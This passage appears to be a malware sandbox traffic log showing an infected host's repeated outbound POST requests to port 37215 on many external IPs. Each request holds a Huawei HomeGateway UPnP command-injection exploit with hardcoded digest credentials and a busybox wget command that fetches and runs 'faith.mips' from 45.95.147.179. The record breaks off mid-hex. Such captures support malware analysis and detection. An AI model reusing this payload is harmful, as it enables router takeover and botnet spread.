22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.20	52846	94.123.188.183	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:03:02.604541063 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.20	44118	94.122.0.204	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:03:02.606978893 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.20	51250	154.82.45.71	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:03:03.062812090 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:04.956823111 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:07.228754997 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:11.772715092 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:20.844791889 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:38.988756895 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.20	46184	41.87.89.204	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:03:10.745904922 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 